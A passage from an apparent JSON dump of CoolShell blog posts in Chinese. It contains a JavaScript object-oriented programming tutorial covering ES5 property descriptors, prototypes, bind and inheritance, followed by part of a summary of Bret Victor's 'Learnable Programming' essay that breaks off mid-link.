    "content": "<html><body><p>Javascript是一个类C的语言，他的面向对象的东西相对于C++/Java比较奇怪，但是其的确相当的强大，在 <a href=\"http://www.cnblogs.com/weidagang2046/\" target=\"_blank\">Todd 同学</a>的“<a href=\"https://coolshell.cn/articles/5202.html\" rel=\"bookmark\" target=\"_blank\" title=\"对象的消息模型\">对象的消息模型</a>”一文中我们已经可以看到一些端倪了。这两天有个前同事总在问我Javascript面向对象的东西，所以，索性写篇文章让他看去吧，这里这篇文章主要想从一个整体的角度来说明一下Javascript的面向对象的编程。（<strong>成文比较仓促，应该有不准确或是有误的地方，请大家批评指正</strong>）</p>\n<p>另，这篇文章主要基于 <a href=\"http://www.ecma-international.org/publications/standards/Ecma-262.htm\" target=\"_blank\">ECMAScript 5</a>， 旨在介绍新技术。关于兼容性的东西，请看最后一节。</p>\n<h4>初探</h4>\n<p>我们知道Javascript中的变量定义基本如下：</p>\n<pre class=\"EnlighterJSRAW\">var name = 'Chen Hao';;\nvar email = 'haoel(@)hotmail.com';\nvar website = 'https://coolshell.cn';</pre>\n<p>如果要用对象来写的话，就是下面这个样子：</p>\n<pre class=\"EnlighterJSRAW\">var chenhao = {\n    name :'Chen Hao',\n    email : 'haoel(@)hotmail.com',\n    website : 'https://coolshell.cn'\n};</pre>\n<p>于是，我就可以这样访问：</p>\n<pre class=\"EnlighterJSRAW\">\n//以成员的方式\nchenhao.name;\nchenhao.email;\nchenhao.website;\n\n//以hash map的方式\nchenhao[\"name\"];\nchenhao[\"email\"];\nchenhao[\"website\"];\n</pre>\n<p>关于函数，我们知道Javascript的函数是这样的：</p>\n<p><span id=\"more-6441\"></span></p>\n<pre class=\"EnlighterJSRAW\">var doSomething = function(){\n   alert('Hello World.');\n};</pre>\n<p>于是，我们可以这么干：</p>\n<pre class=\"EnlighterJSRAW\">\nvar sayHello = function(){\n   var hello = \"Hello, I'm \"+ this.name\n                + \", my email is: \" + this.email\n                + \", my website is: \" + this.website;\n   alert(hello);\n};\n\n//直接赋值，这里很像C/C++的函数指针\nchenhao.Hello = sayHello;\n\nchenhao.Hello();\n</pre>\n<p>相信这些东西都比较简单，大家都明白了。 可以看到javascript对象函数是直接声明，直接赋值，直接就用了。runtime的动态语言。</p>\n<p>还有一种比较规范的写法是：</p>\n<pre class=\"EnlighterJSRAW\">\n//我们可以看到， 其用function来做class。\nvar Person = function(name, email, website){\n    this.name = name;\n    this.email = email;\n    this.website = website;\n\n    this.sayHello = function(){\n        var hello = \"Hello, I'm \"+ this.name  + \", \\n\" +\n                    \"my email is: \" + this.email + \", \\n\" +\n                    \"my website is: \" + this.website;\n        alert(hello);\n    };\n};\n\nvar chenhao = new Person(\"Chen Hao\", \"haoel@hotmail.com\",\n                                     \"https://coolshell.cn\");\nchenhao.sayHello(); </pre>\n<p>顺便说一下，要删除对象的属性，很简单：</p>\n<p><code class=\"EnlighterJSRAW\">delete chenhao['email']</code></p>\n<p>上面的这些例子，我们可以看到这样几点：</p>\n<ol>\n<li>Javascript的数据和成员封装很简单。没有类完全是对象操作。纯动态！</li>\n<li>Javascript function中的this指针很关键，如果没有的话，那就是局部变量或局部函数。</li>\n<li>Javascript对象成员函数可以在使用时临时声明，并把一个全局函数直接赋过去就好了。</li>\n<li>Javascript的成员函数可以在实例上进行修改，也就是说不同实例相同函数名的行为不一定一样。</li>\n</ol>\n<h4>属性配置 – Object.defineProperty</h4>\n<p>先看下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">\n//创建对象\nvar chenhao = Object.create(null);\n\n//设置一个属性\n Object.defineProperty( chenhao,\n                'name', { value:  'Chen Hao',\n                          writable:     true,\n                          configurable: true,\n                          enumerable:   true });\n\n//设置多个属性\nObject.defineProperties( chenhao,\n    {\n        'email'  : { value:  'haoel@hotmail.com',\n                     writable:     true,\n                     configurable: true,\n                     enumerable:   true },\n        'website': { value: 'https://coolshell.cn',\n                     writable:     true,\n                     configurable: true,\n                     enumerable:   true }\n    }\n);\n</pre>\n<p>下面就说说这些属性配置是什么意思。</p>\n<ul>\n<li>writable：这个属性的值是否可以改。</li>\n<li>configurable：这个属性的配置是否可以改。</li>\n<li>enumerable：这个属性是否能在for…in循环中遍历出来或在Object.keys中列举出来。</li>\n<li>value：属性值。</li>\n<li>get()/set(_value)：get和set访问器。</li>\n</ul>\n<h4>Get/Set 访问器</h4>\n<p>关于get/set访问器，它的意思就是用get/set来取代value（其不能和value一起使用），示例如下：</p>\n<pre class=\"EnlighterJSRAW\">var  age = 0;\nObject.defineProperty( chenhao,\n            'age', {\n                      get: function() {return age+1;},\n                      set: function(value) {age = value;}\n                      enumerable : true,\n                      configurable : true\n                    }\n);\nchenhao.age = 100; //调用set\nalert(chenhao.age); //调用get 输出101（get中+1了）;\n</pre>\n<p>我们再看一个更为实用的例子——利用已有的属性(age)通过get和set构造新的属性(birth_year)：</p>\n<pre class=\"EnlighterJSRAW\">\nObject.defineProperty( chenhao,\n            'birth_year',\n            {\n                get: function() {\n                    var d = new Date();\n                    var y = d.getFullYear();\n                    return ( y - this.age );\n                },\n                set: function(year) {\n                    var d = new Date();\n                    var y = d.getFullYear();\n                    this.age = y - year;\n                }\n            }\n);\n\nalert(chenhao.birth_year);\nchenhao.birth_year = 2000;\nalert(chenhao.age);\n</pre>\n<p>这样做好像有点麻烦，你说，我为什么不写成下面这个样子：</p>\n<pre class=\"EnlighterJSRAW\">\nvar chenhao = {\n    name: \"Chen Hao\",\n    email: \"haoel@hotmail.com\",\n    website: \"https://coolshell.cn\",\n    age: 100,\n    get birth_year() {\n        var d = new Date();\n        var y = d.getFullYear();\n        return ( y - this.age );\n    },\n    set birth_year(year) {\n        var d = new Date();\n        var y = d.getFullYear();\n        this.age = y - year;\n    }\n\n};\nalert(chenhao.birth_year);\nchenhao.birth_year = 2000;\nalert(chenhao.age);\n</pre>\n<p>是的，你的确可以这样的，不过通过defineProperty()你可以干这些事：<br/>\n1）设置如 writable，configurable，enumerable 等这类的属性配置。<br/>\n2）动态地为一个对象加属性。比如：一些HTML的DOM对像。</p>\n<h4>查看对象属性配置</h4>\n<p>如果查看并管理对象的这些配置，下面有个程序可以输出对象的属性和配置等东西：</p>\n<pre class=\"EnlighterJSRAW\">//列出对象的属性.\nfunction listProperties(obj)\n{\n    var newLine = \"&lt;br /&gt;\";\n    var names = Object.getOwnPropertyNames(obj);\n    for (var i = 0; i &lt; names.length; i++) {\n        var prop = names[i];\n        document.write(prop + newLine);\n\n        // 列出对象的属性配置（descriptor）动用getOwnPropertyDescriptor函数。\n        var descriptor = Object.getOwnPropertyDescriptor(obj, prop);\n        for (var attr in descriptor) {\n            document.write(\"...\" + attr + ': ' + descriptor[attr]);\n            document.write(newLine);\n        }\n        document.write(newLine);\n    }\n}\n\nlistProperties(chenhao);</pre>\n<h4>call，apply， bind 和 this</h4>\n<p>关于Javascript的this指针，和C++/Java很类似。 我们来看个示例：（这个示例很简单了，我就不多说了）</p>\n<pre class=\"EnlighterJSRAW\">function print(text){\n    document.write(this.value + ' - ' + text+ '&lt;br&gt;');\n}\n\nvar a = {value: 10, print : print};\nvar b = {value: 20, print : print};\n\nprint('hello');// this =&gt; global, output \"undefined - hello\"\n\na.print('a');// this =&gt; a, output \"10 - a\"\nb.print('b'); // this =&gt; b, output \"20 - b\"\n\na['print']('a'); // this =&gt; a, output \"10 - a\"\n</pre>\n<p>我们再来看看call 和 apply，这两个函数的差别就是参数的样子不一样，另一个就是性能不一样，apply的性能要差很多。（关于性能，可到 <a href=\"http://jsperf.com/\" target=\"_blank\">JSPerf</a> 上去跑跑看看）</p>\n<pre class=\"EnlighterJSRAW\">print.call(a, 'a'); // this =&gt; a, output \"10 - a\"\nprint.call(b, 'b'); // this =&gt; b, output \"20 - b\"\n\nprint.apply(a, ['a']); // this =&gt; a, output \"10 - a\"\nprint.apply(b, ['b']); // this =&gt; b, output \"20 - b\"</pre>\n<p>但是在bind后，this指针，可能会有不一样，但是因为Javascript是动态的。如下面的示例</p>\n<pre class=\"EnlighterJSRAW\">var p = print.bind(a);\np('a');             // this =&gt; a, output \"10 - a\"\np.call(b, 'b');     // this =&gt; a, output \"10 - b\"\np.apply(b, ['b']);  // this =&gt; a, output \"10 - b\"</pre>\n<h4>继承 和 重载</h4>\n<p>通过上面的那些示例，我们可以通过Object.create()来实际继承，请看下面的代码，Student继承于Object。</p>\n<pre class=\"EnlighterJSRAW\">\nvar Person = Object.create(null);\n\nObject.defineProperties\n(\n    Person,\n    {\n        'name'  : {  value: 'Chen Hao'},\n        'email'  : { value : 'haoel@hotmail.com'},\n        'website': { value: 'https://coolshell.cn'}\n    }\n);\n\nPerson.sayHello = function () {\n    var hello = \"&lt;p&gt;Hello, I am \"+ this.name  + \", &lt;br&gt;\" +\n                \"my email is: \" + this.email + \", &lt;br&gt;\" +\n                \"my website is: \" + this.website;\n    document.write(hello + \"&lt;br&gt;\");\n}\n\nvar Student = Object.create(Person);\nStudent.no = \"1234567\"; //学号\nStudent.dept = \"Computer Science\"; //系\n\n//使用Person的属性\ndocument.write(Student.name + ' ' + Student.email + ' ' + Student.website +'&lt;br&gt;');\n\n//使用Person的方法\nStudent.sayHello();\n\n//重载SayHello方法\nStudent.sayHello = function (person) {\n    var hello = \"&lt;p&gt;Hello, I am \"+ this.name  + \", &lt;br&gt;\" +\n                \"my email is: \" + this.email + \", &lt;br&gt;\" +\n                \"my website is: \" + this.website + \", &lt;br&gt;\" +\n                \"my student no is: \" + this. no + \", &lt;br&gt;\" +\n                \"my departent is: \" + this. dept;\n    document.write(hello + '&lt;br&gt;');\n}\n//再次调用\nStudent.sayHello();\n\n//查看Student的属性（只有 no 、 dept 和 重载了的sayHello）\ndocument.write('&lt;p&gt;' + Object.keys(Student) + '&lt;br&gt;');\n</pre>\n<p>通用上面这个示例，我们可以看到，Person里的属性并没有被真正复制到了Student中来，但是我们可以去存取。这是因为Javascript用委托实现了这一机制。其实，这就是Prototype，Person是Student的Prototype。</p>\n<p>当我们的代码需要一个属性的时候，Javascript的引擎会先看当前的这个对象中是否有这个属性，如果没有的话，就会查找他的Prototype对象是否有这个属性，一直继续下去，直到找到或是直到没有Prototype对象。</p>\n<p>为了证明这个事，我们可以使用Object.getPrototypeOf()来检验一下：</p>\n<pre class=\"EnlighterJSRAW\">Student.name = 'aaa';\n\n//输出 aaa\ndocument.write('&lt;p&gt;' + Student.name + '&lt;/p&gt;');\n\n//输出 Chen Hao\ndocument.write('&lt;p&gt;' +Object.getPrototypeOf(Student).name + '&lt;/p&gt;');</pre>\n<p>于是，你还可以在子对象的函数里调用父对象的函数，就好像C++里的 Base::func() 一样。于是，我们重载hello的方法就可以使用父类的代码了，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">//新版的重载SayHello方法\nStudent.sayHello = function (person) {\n    Object.getPrototypeOf(this).sayHello.call(this);\n    var hello = \"my student no is: \" + this. no + \", &lt;br&gt;\" +\n                \"my departent is: \" + this. dept;\n    document.write(hello + '&lt;br&gt;');\n}</pre>\n<p>这个很强大吧。</p>\n<h4>组合</h4>\n<p>上面的那个东西还不能满足我们的要求，我们可能希望这些对象能真正的组合起来。为什么要组合？因为我们都知道是这是OO设计的最重要的东西。不过，这对于Javascript来并没有支持得特别好，不好我们依然可以搞定个事。</p>\n<p>首先，我们需要定义一个Composition的函数：（target是作用于是对象，source是源对象），下面这个代码还是很简单的，就是把source里的属性一个一个拿出来然后定义到target中。</p>\n<pre class=\"EnlighterJSRAW\">\nfunction Composition(target, source)\n{\n    var desc  = Object.getOwnPropertyDescriptor;\n    var prop  = Object.getOwnPropertyNames;\n    var def_prop = Object.defineProperty;\n\n    prop(source).forEach(\n        function(key) {\n            def_prop(target, key, desc(source, key))\n        }\n    )\n    return target;\n}\n</pre>\n<p>有了这个函数以后，我们就可以这来玩了：</p>\n<pre class=\"EnlighterJSRAW\">\n//艺术家\nvar Artist = Object.create(null);\nArtist.sing = function() {\n    return this.name + ' starts singing...';\n}\nArtist.paint = function() {\n    return this.name + ' starts painting...';\n}\n\n//运动员\nvar Sporter = Object.create(null);\nSporter.run = function() {\n    return this.name + ' starts running...';\n}\nSporter.swim = function() {\n    return this.name + ' starts swimming...';\n}\n\nComposition(Person, Artist);\ndocument.write(Person.sing() + '&lt;br&gt;');\ndocument.write(Person.paint() + '&lt;br&gt;');\n\nComposition(Person, Sporter);\ndocument.write(Person.run() + '&lt;br&gt;');\ndocument.write(Person.swim() + '&lt;br&gt;');\n\n//看看 Person中有什么？（输出：sayHello,sing,paint,swim,run）\ndocument.write('&lt;p&gt;' + Object.keys(Person) + '&lt;br&gt;');\n</pre>\n<h4>Prototype 和 继承</h4>\n<p>我们先来说说Prototype。我们先看下面的例程，这个例程不需要解释吧，很像C语言里的函数指针，在C语言里这样的东西见得多了。</p>\n<pre class=\"EnlighterJSRAW\">var plus = function(x,y){\n    document.write( x + ' + ' + y + ' = ' + (x+y) + '&lt;br&gt;');\n    return x + y;\n};\n\nvar minus = function(x,y){\n    document.write(x + ' - ' + y + ' = ' + (x-y) + '&lt;br&gt;');\n    return x - y;\n};\n\nvar operations = {\n    '+': plus,\n    '-': minus\n};\n\nvar calculate = function(x, y, operation){\n    return operations[operation](x, y);\n};\n\ncalculate(12, 4, '+');\ncalculate(24, 3, '-');\n</pre>\n<p>那么，我们能不能把这些东西封装起来呢，我们需要使用prototype。看下面的示例：</p>\n<pre class=\"EnlighterJSRAW\">var Cal = function(x, y){\n    this.x = x;\n    this.y = y;\n}\n\nCal.prototype.operations = {\n    '+': function(x, y) { return x+y;},\n    '-': function(x, y) { return x-y;}\n};\n\nCal.prototype.calculate = function(operation){\n    return this.operations[operation](this.x, this.y);\n};\n\nvar c = new Cal(4, 5);\n\nc.calculate('+');\nc.calculate('-');</pre>\n<p>这就是prototype的用法，prototype 是javascript这个语言中最重要的内容。网上有太多的文章介始这个东西了。说白了，prototype就是对一对象进行扩展，其特点在于通过“复制”一个已经存在的实例来返回新的实例,而不是新建实例。被复制的实例就是我们所称的“原型”，这个原型是可定制的（当然，这里没有真正的复制，实际只是委托）。上面的这个例子中，我们扩展了实例Cal，让其有了一个operations的属性和一个calculate的方法。</p>\n<p>这样，我们可以通过这一特性来实现继承。还记得我们最最前面的那个Person吧， 下面的示例是创建一个Student来继承Person。</p>\n<pre class=\"EnlighterJSRAW\">\nfunction Person(name, email, website){\n    this.name = name;\n    this.email = email;\n    this.website = website;\n};\n\nPerson.prototype.sayHello = function(){\n    var hello = \"Hello, I am \"+ this.name  + \", &lt;br&gt;\" +\n                \"my email is: \" + this.email + \", &lt;br&gt;\" +\n                \"my website is: \" + this.website;\n    return hello;\n};\n\nfunction Student(name, email, website, no, dept){\n    var proto = Object.getPrototypeOf;\n    proto(Student.prototype).constructor.call(this, name, email, website);\n    this.no = no;\n    this.dept = dept;\n}\n\n// 继承prototype\nStudent.prototype = Object.create(Person.prototype);\n\n//重置构造函数\nStudent.prototype.constructor = Student;\n\n//重载sayHello()\nStudent.prototype.sayHello = function(){\n    var proto = Object.getPrototypeOf;\n    var hello = proto(Student.prototype).sayHello.call(this) + '&lt;br&gt;';\n    hello += \"my student no is: \" + this. no + \", &lt;br&gt;\" +\n             \"my departent is: \" + this. dept;\n    return hello;\n};\n\nvar me = new Student(\n    \"Chen Hao\",\n    \"haoel@hotmail.com\",\n    \"https://coolshell.cn\",\n    \"12345678\",\n    \"Computer Science\"\n);\ndocument.write(me.sayHello());</pre>\n<h4>兼容性</h4>\n<p>上面的这些代码并不一定能在所有的浏览器下都能运行，因为上面这些代码遵循 ECMAScript 5 的规范，关于ECMAScript 5 的浏览器兼容列表，你可以看这里“<a href=\"http://kangax.github.com/es5-compat-table/\" target=\"_blank\">ES5浏览器兼容表</a>”。</p>\n<p>本文中的所有代码都在Chrome最新版中测试过了。</p>\n<p>下面是一些函数，可以用在不兼容ES5的浏览器中：</p>\n<h5>Object.create()函数</h5>\n<pre class=\"EnlighterJSRAW\">function clone(proto) {\n    function Dummy() { }\n\n    Dummy.prototype             = proto;\n    Dummy.prototype.constructor = Dummy;\n\n    return new Dummy(); //等价于Object.create(Person);\n}\n\nvar me = clone(Person);\n</pre>\n<h5>defineProperty()函数</h5>\n<pre class=\"EnlighterJSRAW\">function defineProperty(target, key, descriptor) {\n    if (descriptor.value){\n        target[key] = descriptor.value;\n    }else {\n        descriptor.get &amp;&amp; target.__defineGetter__(key, descriptor.get);\n        descriptor.set &amp;&amp; target.__defineSetter__(key, descriptor.set);\n    }\n\n    return target\n}</pre>\n<h5>keys()函数</h5>\n<pre class=\"EnlighterJSRAW\">function keys(object) { var result, key\n    result = [];\n    for (key in object){\n        if (object.hasOwnProperty(key))  result.push(key)\n    }\n\n    return result;\n}</pre>\n<h5>Object.getPrototypeOf() 函数</h5>\n<pre class=\"EnlighterJSRAW\">function proto(object) {\n    return !object?                null\n         : '__proto__' in object?  object.__proto__\n         : /* not exposed? */      object.constructor.prototype\n}</pre>\n<h5>bind 函数</h5>\n<pre class=\"EnlighterJSRAW\">var slice = [].slice\n\nfunction bind(fn, bound_this) { var bound_args\n    bound_args = slice.call(arguments, 2)\n    return function() { var args\n        args = bound_args.concat(slice.call(arguments))\n        return fn.apply(bound_this, args) }\n}\n</pre>\n<h4>参考</h4>\n<ul>\n<li>W3CSchool</li>\n<li>MDN (Mozilla Developer Network)</li>\n<li>MSDN (Microsoft Software Development Network)</li>\n<li><a href=\"http://killdream.github.com/blog/2011/10/understanding-javascript-oop/\" target=\"_blank\">Understanding Javascript OOP</a>.</li>\n</ul>\n<p><span style=\"color: #cc0000;\"><strong>（转载时请注明作者和出处，请勿用于任何商业用途）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6731.html\"><img alt=\"理解Javascript的闭包\" height=\"150\" src=\"../wp-content/uploads/2012/03/closure-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6731.html\">理解Javascript的闭包</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6668.html\"><img alt=\"再谈javascript面向对象编程 \" height=\"150\" src=\"../wp-content/uploads/2012/02/joo_1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6668.html\">再谈javascript面向对象编程 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5202.html\"><img alt=\"对象的消息模型\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6441.html\">Javascript 面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-10-14 Bret Victor – Learnable Programming.html",
    "content": "<html><body><p>大家是否还记得之前酷壳向大家介绍的苹果设计师<a href=\"http://worrydream.com/\" target=\"_blank\">Bret Victor</a>一种可视编程的视频《<a href=\"https://coolshell.cn/articles/6775.html\" rel=\"bookmark\">Bret Victor – Inventing on Principle</a>》，最近，他写了一篇文章——<a href=\"http://worrydream.com/LearnableProgramming/\" target=\"_blank\"> Learnable Programming</a>，写这篇文章的原因是因为“可汗学院(Khan Academy)”近期上线的一个<a href=\"http://www.khanacademy.org/cs\" target=\"_blank\">在线编程环境</a>，根据他的演讲提供了一堆基于Javascript的“实时编程”的环境，因为这个环境是<a href=\"http://ejohn.org/blog/introducing-khan-cs\" target=\"_blank\">引用了他的想法</a>，所以，他有必要出来喷两句。</p>\n<p>这篇文章的开头就是一个问题——“<em>How do we get people to understand programming?</em>”，我们怎么让人们懂得编程？</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-8389\" height=\"207\" src=\"../wp-content/uploads/2012/10/Learnable_Programming.jpg\" title=\"Learnable_Programming\" width=\"650\"/></p>\n<p>然后，他说了两条——</p>\n<ul>\n<li><strong>编程是一种思考，而不是一种死记硬背的技能！</strong>你学会了“for循环”并不是说你就学会了编程，这就好像你知道有铅笔这个东西，但是你对绘画还是什么不懂。（对于这一条，正好这两天我在微博上和人辩论“<a href=\"http://weibo.com/1401880315/yFQkJn8bC\" target=\"_blank\">基础算法面试题是否好</a>”（还有<a href=\"http://weibo.com/1401880315/yFOeyy00M\" target=\"_blank\">微博一</a>，<a href=\"http://weibo.com/1401880315/z06Y0qMGf\" target=\"_blank\">微博二</a>），而且我以前也写过一篇《<a href=\"https://coolshell.cn/articles/8138.html\" target=\"_blank\" title=\"为什么我反对纯算法面试题\">为什么我反对纯算法面试</a>》，这里借用Bret的话再加强一下我的观点——“<strong>我们一方面在骂中国的应试教育毁了学生，另一方面我们又在把我们的面试变成“考八股文”式的考试！  你会qsort有什么用？你只不过是会用一支高级铅笔而已罢了。</strong>”）</li>\n</ul>\n<ul>\n<li><strong>人只有看得见，才能理解。</strong>如果一个程序员不能看到他的程序在干什么，那么她就不能理解程序。（对于这一条，让我想到了Donald Knuth的话——“An algorithm must be seen to be believe!”）</li>\n</ul>\n<p>所以，Bret 觉得编程软件的目标是——</p>\n<p><span id=\"more-8387\"></span></p>\n<ul>\n<li>支持并激发强大的思考。 To support and encourage powerful ways of thinking.</li>\n<li>让程序员可以看得见程序的运行过程。To enable programmers to see and understand the execution of their programs</li>\n</ul>\n<p>他说，可汗学院的“实时编程环境”并没有达到上面的任何一个目标。他还说用Javascript这样设计得很垃圾的语言根本不能支持强大的思考，而且还忽略了近十年来的成果，可汗学院这些东西完全是毫无价值的。</p>\n<p>Bret认为，Alan Perlis的名言——“要学会编程，你必需得同时变成机器和程序”是错误的，这句被广为流传的错误名言，让我们把编程变成很难，并且掩盖了编程的艺术。人并不是一台机器，我们也不应该强迫自己变成那样。</p>\n<p>接下来，他说明了一个编程系统应该有两个部分——</p>\n<ul>\n<li><strong>编程的“环境”，是其中一部分需要安装在电脑上的。</strong></li>\n</ul>\n<ul>\n<li><strong>编程的“语言”，是另一部分需要安装在程序员大脑里的。</strong></li>\n</ul>\n<p>他随笔给出来了一些Design Principles——</p>\n<p>对于“<strong>编程环境</strong>”，应该能让学习者干下面的事：</p>\n<ul>\n<li><strong>阅读程序词汇 read the vocabulary</strong> <em>— </em>这些单词意味着什么？是不是显而易见不用思考的？是不是很自然地被上下文解释了？</li>\n</ul>\n<ul>\n<li><strong>跟进流程 follow the flow</strong> <em>— </em>在什么时候会发生什么？流程的时间过程是不是看得见摸得着的？流程的粒度是否有意义？</li>\n</ul>\n<ul>\n<li><strong>看见状态 see the state</strong> <em>— </em>电脑在想些什么？你能不能看到电脑里的数据？并可以看到不同状态的比较？没有任何状态会隐藏？</li>\n</ul>\n<ul>\n<li><strong>通过交互来创造代码 create by reacting</strong> <em>— </em>从粗糙开始，然后开始雕琢程序。交互是否实时显示在屏幕上？有多少组件我可以用来做实时交互？</li>\n</ul>\n<ul>\n<li><strong>通过抽像来创造代码 create by abstracting</strong> <em>— </em>从一些hard code开始，然后开始抽象成变量<em>，</em>抽象成公式，抽象成函数。从一个开始作模板，然后做多个不同的东西。</li>\n</ul>\n<p>对于“<strong>编程语言</strong>” 来说，它应该提供下面的事：</p>\n<ul>\n<li><strong>同一性和比方 identity and metaphor</strong> <em>— </em>我怎么把电脑的世界和我的世界联系起来?<em> </em>推荐了一本书《<em><a href=\"http://books.google.com/books?id=HhIEAgUfGHwC&amp;printsec=frontcover\">“Mindstorms”</a></em>》</li>\n</ul>\n<ul>\n<li><strong>分解 decomposition</strong> <em>— </em>怎么把我的想法分解成碎片？<em>how do I break down my thoughts into mind-sized pieces?</em></li>\n<li><strong>重组 recomposition</strong> <em>— </em>怎么把这些碎片重组起来？<em> how do I glue pieces together?</em></li>\n<li><strong>可读性 readability</strong> <em>— </em>这一大堆程序单词是什么意思？<em>what do these words mean?</em></li>\n</ul>\n<p>然后，他说“The Features are not the point”，<strong>我们很多时候会关注编程环境和编程语言提供的功能，这就好像我们在看一本书有哪些单词一样，有哪些单词不重要，重要的是我这些单词组合起来传达了一个什么信息</strong>？<strong>一个设计的好的系统并不是一堆功能，一个设计得好的编程环境是激发特定的思考方式</strong>。所有的功能都是非常小心翼翼地组合起来为之服务。（不好意思，我又要插一句。我觉得这和我在《<a href=\"https://coolshell.cn/articles/7617.html\" target=\"_blank\" title=\"抄袭，腾讯 和 产品\">抄袭，腾讯和产品</a>》一文中，我所理解的“什么是真正的产品”有点类似——真正的产品不是功能的组合，而是要表达的价值和对某一特定问题端到端的解决方案）</p>\n<p>接下来，Bret用大量的示例告诉了大家上面所说的那几条是具体是什么。大家一定要去读一读！（我把这些东西总结果在上面的那些条目中了）</p>\n<p>最后，Bret说了一下，他被问过很多次——这些漂亮的想法怎么应用到现实世界中？他说这个问题问的是对的，但是这些问题问的就好像是——“怎么能让一匹马从内燃机引擎受益”一样，其假设的改变是错误的。他回答到，更准确的是——“<strong>Programming has to work like this</strong>”，所以他说，他的这些东西不是一种“Training”，也不是一种“银弹”，只不过是拿开了眼罩。</p>\n<p><strong>更新：</strong>一楼回复的朋友给了一个中译版的链接：<a href=\"http://chengyichao.info/learnable-programming/\">http://chengyichao.info/learnable-programming/</a></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19612.html\"><img alt=\"50年前的登月程序和程序员有多硬核\" height=\"150\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST 